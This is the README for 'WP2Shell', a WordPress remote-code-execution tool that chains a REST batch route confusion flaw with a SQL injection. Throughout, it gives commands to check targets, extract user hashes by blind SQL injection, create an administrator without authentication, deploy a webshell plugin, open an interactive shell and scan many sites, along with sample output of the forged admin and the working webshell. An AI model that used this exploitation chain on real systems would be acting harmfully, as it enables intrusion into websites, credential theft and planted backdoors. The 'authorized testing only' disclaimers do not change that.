WP2Shell – WordPress RCE Exploitation Tool

---

⚠️ Warning

For authorized security testing only. Use this tool only on systems you own or have explicit written permission to test. Unauthorized access is illegal.

---

📋 Table of Contents

• Overview
• Vulnerability Details
• Features
• Quick Start
• Installation
• Manual Tool (wp2shell.py)
• Automated Tool (auto_wp2shell.py)
• Network Options
• Output Examples
• Security Considerations
• Troubleshooting
• References
• Credits
• License

---

🔍 Overview

WP2Shell is a unified proof‑of‑concept tool that chains two critical WordPress vulnerabilities to achieve unauthenticated remote code execution without any password cracking.

Key Features

• Zero dependencies – pure Python standard library (no requests, no extra pip installs).
• Unauthenticated RCE – no credentials required; the tool automatically creates an admin account.
• No hash cracking – leverages a pre‑auth admin creation technique.
• Production‑ready – supports HTTPS, self‑signed certificates, proxies, and custom headers.
• Two tools in one:
  • wp2shell.py – manual, fine‑grained control.
  • auto_wp2shell.py – fully automated exploitation chain.

---

🛡️ Vulnerability Details

CVE	Description	Affected Versions
CVE‑2026‑63030	REST Batch Route Confusion	6.9.0‑6.9.4, 7.0.0‑7.0.1
CVE‑2026‑60137	WP_Query author__not_in SQL Injection	6.8.0‑6.8.5, 6.9.0‑6.9.4, 7.0.0‑7.0.1

Patched versions: 6.8.6, 6.9.5, 7.0.2, 7.1‑beta2+.

---

🚀 Quick Start

# Clone the repository
git clone https://github.com/yourusername/wp2shell.git
cd wp2shell

# Make scripts executable
chmod +x wp2shell.py auto_wp2shell.py

# Quick vulnerability check
python3 wp2shell.py check https://target.com

# Fully automated exploitation
python3 auto_wp2shell.py https://target.com --interactive

# Single‑command execution
python3 auto_wp2shell.py https://target.com --cmd "id"

---

📦 Installation

Requirements

• Python 3.7 or higher (standard library only).

Download

# Using git
git clone https://github.com/yourusername/wp2shell.git
cd wp2shell

# Or download the scripts directly
wget https://raw.githubusercontent.com/yourusername/wp2shell/main/wp2shell.py
wget https://raw.githubusercontent.com/yourusername/wp2shell/main/auto_wp2shell.py

Verify Installation

python3 wp2shell.py --version
python3 auto_wp2shell.py --version

---

🤖 Manual Tool (wp2shell.py)

The manual tool gives you full control over each exploitation step.

Commands Overview

Command	Description	When to Use
check	Verify the target is vulnerable (non‑destructive)	First step
read	Extract data via blind SQL injection	Gather information/credentials
shell	Achieve RCE by creating admin + deploying webshell	Get shell access
sqli	Direct SQL injection (for WP 6.8.x or custom endpoints)	Target specific injection
scan	Multi‑threaded vulnerability scanning	Test many targets

Example: Check Vulnerabilities

python3 wp2shell.py check https://target.com

Example: Run a Blind SQL Query

python3 wp2shell.py read https://target.com --preset fingerprint
python3 wp2shell.py read https://target.com --preset users --prefix wp_

Example: Interactive Shell

python3 wp2shell.py shell https://target.com --interactive

Example: Single Command Execution

python3 wp2shell.py shell https://target.com --cmd "id"

---

🤖 Automated Tool (auto_wp2shell.py)

A streamlined wrapper that performs the full exploitation chain with minimal interaction.

Core Features

• Full chain execution – check → extract → shell in one command.
• Smart detection – auto‑detects table prefix and WordPress configuration.
• Graceful fallbacks – multiple exploitation paths if the primary one fails.
• Interactive mode – drops you into a shell after exploitation.

Usage Examples

# Quick check + single command
python3 auto_wp2shell.py https://target.com --cmd "id"

# Full interactive shell
python3 auto_wp2shell.py https://target.com --interactive

# Use a proxy for debugging
python3 auto_wp2shell.py https://target.com \
    --proxy http://127.0.0.1:8080 \
    --insecure --interactive

---

🌐 Network Options (Common to Both Tools)

Option	Description	Default
--timeout	Request timeout in seconds	30
--proxy	HTTP proxy (e.g., http://127.0.0.1:8080)	—
--insecure	Skip TLS verification	False
-H "K: V"	Custom request header (repeatable)	—
--user-agent	Override User‑Agent header	Browser UA
--retries	Number of retries on network errors	2
--delay	Delay between requests (rate limiting)	0
--no-color	Disable coloured output	False

WP2Shell‑Specific Options

Option	Command	Description
--variant	check / auto	Choose route‑confusion carrier (all, posts, categories).
--rest‑route	check / auto	Force / ?rest_route= endpoint.
--prefix	read / sqli	Database table prefix (default wp_).
--max‑length	read / sqli	Max characters to extract (default 128).
--preset	read / sqli	Pre‑defined queries (fingerprint, users).
--sleep	check / sqli	Time‑based injection delay.

Automated‑Tool Options

Option	Description
--interactive, -i	Start an interactive shell after exploitation.
--cmd	Execute a single command on the target.
--extract‑users	Extract user hashes during info gathering.
--skip‑extract	Skip the information extraction step.
--debug	Enable verbose debug output.

---

📊 Output Examples

Successful Check

[*] WordPress version: 6.9.4  VULNERABLE - full RCE chain
[+] Batch endpoint reachable and unauthenticated (HTTP 207)
[+] Route confusion ACTIVE (CVE‑2026‑63030 confirmed)
[+] SQL injection CONFIRMED (CVE‑2026‑60137)
[+] Time‑based channel confirmed (2.23s vs 5.34s)

Successful Shell

[*] No credentials supplied – creating a fresh administrator...
[+] Administrator created: wp2_a1b2c3 / Wp2!xY9#kLmNoPqR
[+] Authenticated.
[+] Webshell deployed: https://target.com/wp-content/plugins/wp2shell_abcd/wp2shell_abcd.php
[+] Webshell working!

---

🛡️ Security Considerations

• Admin creation – The tool forges an oEmbed cache entry to create an admin account.
• Webshell deployment – Uploads a minimal plugin that executes commands as the web‑server user.
• Cleanup – After testing, remove the plugin directory and delete the created admin user.

Cleanup Commands

# Remove the plugin
rm -rf /var/www/html/wp-content/plugins/wp2shell_*

# Delete the created admin (via WP admin panel or SQL)
mysql -u root -p -e "
USE wordpress;
DELETE FROM wp_users WHERE user_login LIKE 'wp2_%';
DELETE FROM wp_usermeta WHERE user_id IN (SELECT ID FROM wp_users WHERE user_login LIKE 'wp2_%');
"

# Remove stray upload artifacts
rm -f /var/www/html/wp-content/uploads/*.zip

---

❓ Troubleshooting

Issue	Likely Cause	Solution
TargetError: cannot reach	Network/firewall block	Verify connectivity, use --proxy.
Batch endpoint returned 404	REST API disabled	Try --rest‑route or --variant categories.
SQL injection NOT confirmed	Patched or object cache active	Check WordPress version, try a different --variant.
Login failed after admin creation	Database sync delay	Wait 5‑10 seconds and retry.
Webshell not responding	Plugin upload failed	Ensure wp-content/plugins is writable.
Command output empty	Command path not in $PATH	Use full paths, e.g., /bin/ls.

Debug Mode

python3 wp2shell.py check https://target.com --proxy http://127.0.0.1:8080 --debug
python3 auto_wp2shell.py https://target.com --debug --interactive

---

📚 References

• Security Advisories: CVE‑2026‑63030, CVE‑2026‑60137 (NIST).
• GitHub Advisories: GHSA‑ff9f‑jf42‑662q, GHSA‑fpp7‑x2x2‑2mjf.
• Research: Assetnote Research – original discovery.
• WordPress Security Blog – official announcements.
• Technical Analysis – detailed write‑up (link to public blog).

---

👥 Credits

• Discovery: Adam Kues – Assetnote / Searchlight Cyber.
• Techniques: Hadrian / Icex0 – route confusion detection.
• Admin Creation: sergiointel – pre‑auth admin creation.
• Implementation: 0xsha – unified PoC.
• Contributors: testing, documentation, improvements.

---

📄 License

MIT License – see LICENSE file for full text.

---

⚠️ Final Warning

Use this tool only for authorized testing. Illegal use is prohibited.

✅ DO use on systems you own or have written permission. ❌ DON’T use on systems without authorization.